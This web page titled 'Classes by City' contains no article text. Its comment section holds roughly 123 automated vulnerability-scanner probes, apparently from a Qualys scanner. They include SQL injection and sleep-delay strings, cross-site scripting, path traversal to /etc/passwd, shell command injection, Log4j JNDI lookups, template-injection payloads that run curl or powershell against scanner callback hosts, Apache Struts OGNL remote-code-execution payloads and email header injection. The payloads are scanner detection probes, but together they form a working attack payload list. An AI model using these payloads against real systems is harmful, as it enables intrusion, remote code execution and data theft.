Classes by City

123 thoughts on “Classes by City”

1. 1

2. 1

3. z–>

5. 1″>

6. ‘ onEvent=X139729983768960Y1_2Z

7. <script src=http://localhost/j

8. q
   Qualys_resp_hdr_injection: Vulnerable

9. #

10. (

11. /../../../../../../../etc/passwd

12. |netstat -an

13. “);(function(){qxssde4Zbc5P});/**/”

14. 1

15. 1

16. |aaaa
    =(23.0231*213.759)
    |${23.0231*213.759}{23.0231*213.759}{{23.0231*213.759}}(23.0231*213.7591)=(23.0231*213.759)#{23.0231*213.759}

17. function(){qxssi8F27Rz3};

18. ${”.getClass().forName(‘java.lang.Runtime’).getMethods()[6].toString()}

19. 7157f121e736b66ac7fce56f7df79362feb87b10.24027939819318563.3680890167.ssrf02.ssrf.us3.qualysperiscope.com.

20. ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://0eb4a3dd301251a853443b42ade078b19ae97031.24027939819318563.2005338584.log4j05.log4j.us3.qualysperiscope.com./QualysWAS}

21. ${jndi:dns://ab8d53d73e10871f708eb7bfd07eee88cf872616.24027939819318563.1587037395.log4j09.log4j.us3.qualysperiscope.com./QualysWAS}

22. ${script:javascript:java.lang.Runtime.getRuntime().exec(‘curl http://d8db62619424da80cb66331ca9bfe8a68742f366.24027939819318563.3902462773.oscomm02.oscomm.us3.qualysperiscope.com.’)}

23. ${url:UTF-8:http://2998cc0ec1db326d6c99eeffb93ddbfcd0e13ca4.24027939819318563.506067833.oscomm06.oscomm.us3.qualysperiscope.com.}

24. ${script:javascript:java.lang.Runtime.getRuntime().exec(‘powershell -c iwr -uri http://0e9844e8d1e92d98d541bca2ff73208a314f08c2.24027939819318563.432183951.oscomm10.oscomm.us3.qualysperiscope.com.’)}

25. ${script:javascript:java.lang.Runtime.getRuntime().exec(‘curl https://c8fabc60e418b83975fd510f3cfd0a1f3e2aeacb.24027939819318563.2608911331.oscomm14.oscomm.us3.qualysperiscope.com.’)}

26. ${url:UTF-8:http://59dd8a7e1418b8ac9f4ba08bf94292a2a4b5e6a1.24027939819318563.2587962598.oscomm18.oscomm.us3.qualysperiscope.com./}

27. ${url:UTF-8:http://552b7c57e6d344d88640e625d299611419632150.24027939819318563.23431159.oscomm22.oscomm.us3.qualysperiscope.com.}

28. ${script:javascript:java.lang.Runtime.getRuntime().exec(‘powershell -c iwr -uri https://d10ffb3e17b2ed77f115b0a4f04fe5e8c5558fbc.24027939819318563.1699381222.oscomm26.oscomm.us3.qualysperiscope.com.’)}

29. 1

30. 1′) or 2634=2634 —

31. 1′) or ‘swqtp’=’swqtp

32. 11 or 11=11

33. 1

34. 1WAITFOR DELAY ’00:00:29′

35. 1

36. 1′ + (SELECT 0 FROM (SELECT SLEEP(29))qsqli_2222) + ‘

37. 1

38. “‘>

39. z–>

40. 1

41. “‘><qssG9j4o7sl=7;//<

42. BODY{background:url(“javascript:qssjJ9i5V53=7”)}

43. {{333*334}}

44. 1′

45. 1

46. ../../../../../../../Windows/System32/drivers/etc/hosts

47. %25{(#_=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1=’A2B8C3′).(#str2=’q9d4hi5j’).(#str3=’R9D7e8′).(#str=#str2+’:QQ:’+#str1+’:TT:’+#str3).(#cmd=’echo ‘+ #str).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

48. ‘;(function(){qxss410yOI3d});/**/’

49. (23.0231*213.759)

50. QualysWAS${“150898”.toString().replace(“8”, “7”)}QualysWAS

51. 1

52. ${script:javascript:java.lang.Runtime.getRuntime().exec(‘curl http://@CIPHER@.@UNIQUEID@.@URI@.oscomm03.oscomm.@DOMAIN@‘)}

53. ${script:javascript:java.lang.Runtime.getRuntime().exec(‘powershell -c iwr -uri https://950b65c72425e0af76c942af926a694feb99c913.24494698819318563.3132602253.oscomm12.oscomm.us3.qualysperiscope.com.’)}

54. ${dns:address|2a5152db9f729a5421e2df9518f740e91537c06e.24494698819318563.850207113.oscomm21.oscomm.us3.qualysperiscope.com.}

55. http://localhost:19096

56. 1

57. 1 or 4325=4325 —

58. 1 and NULL IS NULL

59. 1′ or ‘tpklq’=’tpklq

60. aaaa&ping -n 92 localhost&

61. 1′,0,0);WAITFOR DELAY’00:00:29′–

62. 1

63. 1(#context[“xwork.MethodAccessor.denyMethodExecution”]= new java.lang.Boolean(false), #_memberAccess[“allowStaticMethodAccess”]= new java.lang.Boolean(true), @java.lang.Thread@sleep(28*1000))

64. 555

65. 555

66. (select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/

67. 555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’

68. 555

69. 555

70. 555

71. “‘>

72. z–>

73. 1

74. 1″>

75. ‘ onEvent=X140054991359408Y1_2Z

76. <script src=http://localhost/j

77. 1

78. 1

79. ../../../../../../../etc/passwd

80. %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#str1=’A2B8C3′).(#str2=’q2d1hi3j’).(#str3=’B4D7e6′).(#str=#str2+’:QQ:’+#str1+’:PP:’+#str3).(#cmd=’echo ‘+ #str).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

81. javascript:qxss(X140054991359408Y1_2Z);

82. ‘;(function(){qxssWZ85zK0y});/**/’

83. ‘-qxss0Pzk5do3()-‘

84. ;echo 23.0231*213.759;//{@math key=4335.158242899999 method=”add” operand=586.23659/}
    /*

    #set($value=23.0231*213.759)
    $value
    */

85. https://community.qualys.com/

86. Joe+
    bcc:was_engine@0d926ef355334fefe7f4024121b639f9ff51d835.24693196819318563.1527943969.smtphi01.smtp.us3.qualysperiscope.com.

87. ${url:UTF-8::https://1a1dc9193cdf2484fcf6d7376dae060330f0ddad.24693196819318563.2458103885.oscomm25.oscomm.us3.qualysperiscope.com./}

88. ${“”.getClass().forName(“java.net.InetAddress”).getMethod(“getByName”,””.getClass()).invoke(“”,”19571c482fee8bc577439faee07678ec1ca06cf7.24693196819318563.3790324505.oscomm15079701.oscomm.us3.qualysperiscope.com.”)}

89. 1

90. 1′) and 2634=1123 —

91. 1

92. 1

93. 1′ and ‘tpklq’=’xqlkp

94. aaaa&ping -n 92 localhost&

95. 1

96. 1

97. 1

98. 1;SELECT sleep(29); —

99. 1

100. 1

101. z–>

102. “‘><qssisS1n2dU=7;//<

103. BODY{background:url(“javascript:qss5xVKcsD7=7”)}

104. ” onEvent=X139924532139456Y1_2Z

105. 1

106. q
     Qualys_resp_hdr_injection: Vulnerable

107. /*

108. //..//..//..//..//..//..//..//etc/passwd

109. a(){}phpinfo(); function a

110. “;(function(){qxssqs4CMOl1});/**/”

111. function(){qxssp5IZ24wT};

112. 1

113. ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://7f0587e9478bf6f1d075ef1a9a9604ca47105188.24868895819318563.3840266034.log4j04.log4j.us3.qualysperiscope.com./QualysWAS}

114. $%7Bdns:address%7C@CIPHER@.@UNIQUEID@.@URI@.oscomm05.oscomm.@DOMAIN@%7D

115. 1

116. ${url:UTF-8:http://e112a2c514b5e237491c69adab9bfa7a0c8fbbf6.24868895819318563.1681100489.oscomm22.oscomm.us3.qualysperiscope.com.}

117. 1

118. 1

119. 1

120. aaaa&ping -n 92 localhost&

121. 1

122. 1′);WAITFOR DELAY ’00:00:29′–

123. 1